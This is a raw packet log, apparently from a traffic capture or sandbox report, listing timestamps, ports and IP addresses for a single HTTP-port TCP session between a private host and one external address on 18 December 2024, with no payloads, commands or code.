Dec 18, 2024 19:08:51.530457973 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.531263113 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.533317089 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.534209013 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.534296036 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.536475897 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.536672115 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.536705971 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.539738894 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.540046930 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.540093899 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.541610956 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.543171883 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.543292999 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.544004917 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.546217918 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.546257973 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.546298027 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.546330929 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.549390078 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.549741983 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.549777985 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.552462101 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.552499056 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.552568913 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.555248976 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.555576086 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.555700064 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.558257103 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.558929920 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.559300900 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.562215090 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.562232971 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.562246084 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.564239979 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.565201998 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.565649986 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.566091061 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.568269014 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.568538904 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.568790913 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.570286989 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.571430922 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.571655035 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.572532892 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.574635983 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.574717999 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.576245070 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.577790022 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.579241037 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.581047058 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.581079960 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.581423044 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.581453085 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.584259987 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.584291935 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.584578037 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.587383986 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.587418079 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.588032961 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.588233948 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.590543985 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.590883017 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.591253996 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.593703032 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.594609976 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.597033978 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.597057104 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.597069979 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.599273920 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.600045919 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.600452900 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.602291107 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.603259087 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.603369951 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.606477022 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.606515884 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.606684923 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.606853008 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.609698057 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.609728098 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.611635923 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.612796068 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.613136053 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.613173008 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.616070032 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.616111040 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.616691113 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.617168903 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.619098902 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.619293928 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.619323969 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.620431900 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.622358084 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.622544050 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.622627020 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.625456095 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.625581980 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.625658035 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.625797987 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.628705978 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.628907919 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.629190922 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.631944895 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.632169008 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.632199049 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.632308006 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.635106087 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.635214090 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.635428905 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.638169050 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.638297081 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.638781071 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.641419888 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.641556978 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.641586065 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.641627073 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.644551039 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.644660950 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.644764900 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.647809029 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.648319960 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.650273085 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.650964022 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.651036978 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.651707888 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.654225111 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.654409885 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.654479980 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.657319069 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.657445908 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.657574892 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.660444975 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.660661936 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.660693884 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.660866022 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.663628101 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.663748026 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.664066076 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.666769028 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.666837931 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.666877031 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.668412924 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.670152903 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.670527935 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.670675993 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.670780897 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.673198938 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.673316956 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.673876047 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.676476955 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.676518917 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.676536083 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.677654982 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.679570913 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.679672956 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.679743052 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.682630062 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.682740927 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.682813883 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.682998896 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.686114073 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.686234951 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.686353922 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.689096928 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.689246893 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.689280987 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.689413071 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.692190886 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.692370892 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.692400932 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.694539070 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.695424080 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.695568085 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.695676088 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.698580027 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.698769093 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.700725079 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.701796055 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.702044964 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.702481031 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.702780962 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.705061913 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.705097914 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.705137968 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.705197096 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.708173037 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.708399057 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.708633900 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.711285114 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.711468935 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.711890936 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.712114096 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.714492083 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.714790106 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.714883089 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.714946985 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.717737913 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.717813969 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.717962980 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.721039057 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.721076965 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.723948956 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.724240065 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.724725008 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.724911928 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.727108955 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.727307081 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.727379084 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.727628946 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.730302095 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.730762005 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.730968952 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.731080055 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.733696938 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.733864069 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.733968019 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.734074116 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.736745119 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.736799002 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.736929893 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.740045071 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.740061045 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.740222931 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.742981911 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.743170977 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.746329069 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.746507883 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.746537924 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.746720076 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.749351025 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.749427080 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.749481916 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.752492905 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.752605915 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.752898932 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.753087044 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.755667925 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.756138086 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.756412983 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.758898020 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.759006023 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.759139061 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.762243986 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.762314081 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.762346983 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.762876034 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.765419960 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.766066074 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.766104937 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.768460035 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.768604994 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.768656969 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.769469023 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.771578074 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.771630049 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.771720886 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.774739981 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.774923086 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.774950981 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.775089979 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.777875900 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.778090954 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.780311108 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.780833960 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.781084061 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.781241894 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.781971931 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.782212973 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.784271955 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.784564972 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.787283897 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.787461996 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.787813902 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.787956953 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.790623903 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.790730953 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.791069984 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.791632891 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.793838024 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.793935061 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.793962955 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.794039011 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.796955109 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.797391891 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.797420979 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.800237894 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.800270081 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.800411940 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.800438881 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.800616980 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.803258896 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.803363085 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.803455114 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.806519032 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.806653023 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.807389021 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.807635069 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.810930014 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.810951948 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.811203003 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.812822104 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.813246965 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.813378096 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.816026926 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.816194057 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.819319010 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.819358110 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.819430113 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.819430113 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.822487116 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.822504044 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.822665930 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.825661898 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.825678110 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.825840950 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.828690052 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.828877926 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.829147100 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.831814051 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.831929922 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.832089901 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.835040092 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.835114956 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.835258007 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.838232994 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.838516951 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.838558912 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.838629961 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.841501951 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.841578960 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.841698885 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.845206022 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.845221043 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.845385075 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.847809076 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.848159075 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.848439932 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:51.851079941 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:51.851505995 CET	80	49739	31.41.244.11	192.168.2.5
